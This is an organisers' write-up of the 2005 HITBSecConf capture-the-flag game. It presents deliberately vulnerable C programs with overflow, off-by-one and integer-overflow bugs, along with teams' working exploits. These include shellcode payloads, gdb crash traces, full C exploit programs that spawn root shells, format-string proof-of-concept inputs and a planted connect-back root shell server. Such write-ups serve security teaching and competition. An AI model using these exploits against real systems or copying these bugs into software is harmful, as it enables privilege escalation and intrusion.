how to win the hitbseconf ctf game

spoonfork (mel@hackinthebox.org)
alphademon (alphademon@hackinthebox.org)
october 2005
todo: update with team's solutions

a short history

this years, we decided to provide vulnerable source code, and let the teams write exploits. it was getting boring seeing teams firing up nessus and nmap year after year.

NOTE: unlike the defcon ctf game, we have no qualifying round. so year after year, we weren't sure of the team's technical skills - which make for a rather interesing mix. the debate every year was setting the difficulty level of the game. expecting teams to write exploit may back fire, but we went ahead with the plan this year anyway. this year, none of the teams were aware that they need to write exploits.

this year's setup

the teams

the custom bugs and daemons

all source codes can be downloaded here.

the services

none of the services are vulnerable, or at least have any 0days that we are aware of.

bug01.c

/*
 * Type of vulnerability: Heap Overflow. Overflow will happen when
 * the length of argv[1] string is shorter than NAME constant. This this
 * case malloc() allocates smaller amount of data is malloc'ed. And strncpy
 * will attempt to copy "negative" amount of data (negative number will be
 * converted into a large positive due to size_t being defined as unsigned
 * integer). On certain architectures additional manipulation with the heap
 * data is required to make this bug exploitable.
 *
 */
#include 
#define NAME "name:"

int main (int argc, char *argv[]) {
    char *buf;

    if (argc !=2) return 1;
    if (strncmp(NAME, argv[1], strlen(NAME))> 0) {
        buf = (char *)malloc(strlen(argv[1]));
        strncpy(buf, argv[1] + strlen(NAME), strlen(argv[1]) - strlen(NAME));
        printf(" %s copied\n", buf);
        /* may require additional heap data manipulation here */
        free(buf);
    }
    return 1;
}

none of the teams are able to exploit this bug. in fact it is not exploitable (in freebsd 5.4). it is however, possibly exploitable in linux.

bug02.c

/*
 * Type of vulnerability: typical 'strncat' usage bug. strncat will use
 * at most BUFSIZ characters from the s2 here. Overflow may be triggered 
 * during the second call of catbuf() function, if argv[1] is large enough.
 *
 */
#include 


int catbuf(char *s1, char *s2) {
    strncat(s1, s2, BUFSIZ);

}
int main(int argc, char *argv[]) {

    char buf[BUFSIZ + 1];
    bzero(buf, BUFSIZ);

    if (argc > 2) catbuf(buf, argv[1]);
    if (argc > 2) catbuf(buf, argv[1]);

    return 0;
}

this is the easies bug to exploit. panda, du0 and eagles managed to write exploit for this. i wonder why the n00bies from UTP and UITM are not able to exploit this bug. both panda and eagles wrote exploits for both linux and freebsd for bug02.c

panda's solution (freebsd)

(root@panda)[196] /home/bug02 # ./bug02 `ruby -e 'print "\x90" *
524;print "BBBB"'` A A
zsh: segmentation fault (core dumped)  ./bug02 `ruby -e 'print "\x90"
* 524;print "BBBB"'` A A

(root@panda)[197] /home/bug02 # gdb -c bug02.core bug02
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i386-marcel-freebsd"...(no debugging
symbols found)...
Core was generated by `bug02'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.5...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.5
Reading symbols from /libexec/ld-elf.so.1...(no debugging symbols
found)...done.
Loaded symbols for /libexec/ld-elf.so.1
#0  0x42424242 in ?? ()
(gdb)


(root@panda)[253] /home/bug02 # ./bug02 `ruby -e 'print
"\x31\xc0\x50\xb0\x17\x50\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";print
"\x90" * 493;print "\x5c\xec\xbf\xbf"'` A A
# quit

panda's solution (linux)

xwings@montana.$ gcc -o bug02 bug02.c
xwings@montana.$ ./bug02 `ruby -e 'print "A" * 4108;print "BBBB"'` A
Segmentation fault (core dumped)
xwings@montana.$ gdb -c core ./bug02
GNU gdb 6.3
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...Using host
libthread_db library "/lib/libthread_db.so.1".

Core was generated by `./bug02
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x42424242 in ?? ()
(gdb) quit

xwings@montana.$ ./bug02 `ruby -e 'print
"\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80";print
"\x90" * 4074;print "\xa0\x44\x8b\xbf"'` A
sh-3.00$	
	
	

bug03.c

/*
 * This code is demonstrating off-by-one problem. snprintf() of Solaris'
 * libc requires an extra byte to be reserved for '\0' character at the end
 * of the string. The loop after the string does the same thing. 
 *
 */
#include 

void offone(char *s) {
    char buf[BUFSIZ];
    int i;

    snprintf(buf, BUFSIZ,"%s", s); // vulnerable on Solaris
    for (i = 0; i <= BUFSIZ || s[i] == 0; i++) 
        buf[i] = s[i]; // all other platforms
    printf("%s", buf);
}

int main(int argc, char *argv[]) {
    if (argc > 1) offone(argv[1]);
}

interestingly, panda (the winning team) told me that this bug is not exploitable. in fact, quite a number of people told me that it was impossible to exploit. on the second day, eagles exploited it, and so did panda.

eagle's solution (linux)

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char SHELLCODE[] =
"\x90\x90\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46"
"\x08\x89\x46\xd0\xb0\x0b\x89\xf3\x8d\x4e\x09\x8d"
"\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
"\xdc\xff\xff\xff/bin/sh";

int main()
{
        char paddedsc[1024];
        char *env[] = {paddedsc, NULL};
        char astring[BUFSIZ + 1];
        int i;

        for (i = 0; i < sizeof(paddedsc) - 1; i++) { paddedsc[i] = 0x90; }
        strncpy(paddedsc, "EGG=", 4);
        strcpy(&paddedsc[500], SHELLCODE);

        for (i = 0; i < sizeof(astring) - 1; i+=4) {
                int *addr = (int*) &astring[i];
                *addr = 0xbffffdd4;
        }
        astring[sizeof(astring) - 1] = 0;

        execle("./vuln", "./vuln", astring, NULL, env);
        return 0;
}
	

bug04.c

/*
 * Type of vulnerability: integer overflow bug. When argv[1] length is
 * larger than 65535 bytes, len gets truncated to (actuallen - 65535) and 
 * condition len > sizeof(buf) becomes true. (unsigned short could
 * be replaced with simple unsigned, just the length of the string should
 * be longer for overflow to take pplace).
 *
 *
 */
#include 

void func(char *s, unsigned short len) {
    char buf[256];

    if (len > sizeof(buf)) strncpy(buf, s, sizeof(buf));
    else strcpy(buf, s);
}

   
int main(int argc, char *argv[]) {
    int len;
    if (argc < 2) return 0;
    len = strlen(argv[1]);
    func(argv[1], len);
    return 0;
}

both panda and eagles were able to write exploit for this.

panda's solution (linux exploit)

#include <stdlib.h>
#define BUF 65537
#define VULN "./bug4"

//char shellcode[]=
//"\x31\xc0\x50\xb0\x17\x50\xcd\x80"
//"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
//"\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80";

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80";


int main(int argc, char *argv[])
{
        int i;
        char *ptr, buffer[BUF];
        long *addr_ptr, ret;
        char *env[2] = {shellcode, NULL};

        ptr = buffer;
        addr_ptr = (long *) ptr;

        ret = 0xbffffffa - strlen(shellcode) - strlen(VULN);
        printf("Using ret = 0x%x\n\n", ret);

        for(i = 0; i < BUF; i += 4)
                *(addr_ptr++) = ret;

        memcpy(ptr, shellcode, strlen(shellcode));
        ptr += strlen(shellcode);

        buffer[BUF - 1] = '\0';
        execle(VULN, VULN + 2, buffer, 0, env);
}	

daemon01.c

this custom daemon was provided by fyodor (fyodor@o0o.nu) with small modifications by spoonfork (mel@hackinthebox.org). the daemon has a buffer overflow in the socketr() routine. panda was able to come up with a poc for the bug. none of the other teams are able to show anything, not even a poc. source.

panda's poc (linux)

EHLO AAAA%p%p%p%p%p%p (aot of %p), you will be able to find the marker.	

daemon02.c

this custom daemon was provided by fyodor (fyodor@o0o.nu) with small modifications by spoonfork (mel@hackinthebox.org). the daemon has a format string vulnerability that can be passed directly to vsnprintf() function call. panda, again, was able to show a poc for this. the other teams sucked at auditing codes. i wonder wether they can even point out where the bug was. source.

panda's poc (linux)

EHLO AAAA%p%p%p%p%p%p (aot of %p), you will be able to find the marker.	

server01.c

the idea was given by charl (charl@sensepost.com) when alphademon and i met him at bcs2005 in jakarta. this is a simple connect back server that listens on port 3490 and will connect back to you on port 39909 and give you root shell (as it was running with root privileges) when you connect to it. unfortunately, none of the teams were able to figure out what it actually does. we even gave hints like "ET call home" on the second day of the game. source.

what we saw during the conf

how to win the ctf

loopholes of the ctf game

how to improve the game

some ideas that were discussed, but never implemented in this year's ctf game

greetz

fyodor and meder, dave aitel, team panda, ilsor, alphaque, adli, yomuds, gaius, sys64738, divine shadow, nish bhalla, belinda choong, jim geovedi, joanna rutkowska, l33tdawg, amygoh, biatch0, tony chor and the ms ie team, tim pritlove and the ccc crew, sk, xfocus crew, red dragon, leewen and mmu crew, paulooi, prabu, niresh and mydefcon crew, sheeraj shah, mikko of f-secure, the grugq, raoul, jose and marius, fabrice marie, swaraj, zubair khan, roelof, rohyt belani, marc schoenefeld, aaron higbee, and the rest of the hitbsecconf2005 crew members.